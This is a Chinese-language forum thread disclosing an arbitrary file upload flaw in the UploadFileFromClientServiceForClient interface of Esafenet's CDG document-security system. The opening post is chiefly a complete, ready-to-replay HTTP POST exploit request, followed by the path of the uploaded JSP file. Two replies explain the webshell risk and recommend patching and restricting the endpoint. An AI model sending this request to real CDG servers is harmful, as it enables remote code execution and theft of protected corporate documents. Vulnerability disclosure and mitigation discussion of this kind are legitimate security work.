亿赛通电子文档安全管理系统文件上传漏洞
亿赛通电子文档安全管理系统（简称：CDG）是一款电子文档安全加密软件，该系统利用驱动层透明加密技术，通过对电子文档的加密保护，防止内部员工泄密和外部人员非法窃取企业核心重要数据资产，对电子文档进行全生命周期防护，系统具有透明加密、主动加密、智能加密等多种加密方式，用户可根据部门涉密程度的不同（如核心部门和普通部门），部署力度轻重不一的梯度式文档加密防护，实现技术、管理、审计进行有机的结合，在内部构建起立体化的整体信息防泄露体系，使得成本、效率和安全三者达到平衡，实现电子文档的数据安全。亿赛通电子文档安全管理系统UploadFileFromClientServiceForClient接口存在任意文件上传漏洞，攻击者通过构造特定的请求上传恶意文件。
数据包：
POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=22C9717F219D60381079FEBCDC6F635A
Content-Length: 9
014435897
拼接上传文件的地址：https://127.0.0.1/tttT.jsp
Re: 亿赛通电子文档安全管理系统文件上传漏洞
感谢分享这个漏洞情报。亿赛通CDG系统在文件上传接口上存在的安全隐患确实值得关注，攻击者可以利用任意文件上传漏洞直接上传恶意脚本，可能导致服务器被控制或数据泄露。建议使用该系统的用户尽快联系厂商获取补丁，或在边界设备上对相关接口路径进行访问控制。楼主提供的请求数据包很清晰，有助于技术人员复现和排查。Re: 亿赛通电子文档安全管理系统文件上传漏洞
感谢分享这个漏洞信息。从数据包看，`UploadFileFromClientServiceForClient` 接口没有做充分的文件类型校验，直接拼接文件名就上传了，攻击者可以上传任意文件（如 JSP 木马），配合访问路径就能执行恶意代码。这对内部文档加密系统的安全性威胁很大，建议尽快联系厂商获取补丁或在系统层面限制上传文件类型、关闭不必要的接口。请问楼主这边是否已有官方确认的修复版本号或临时缓解措施？
页:
[1]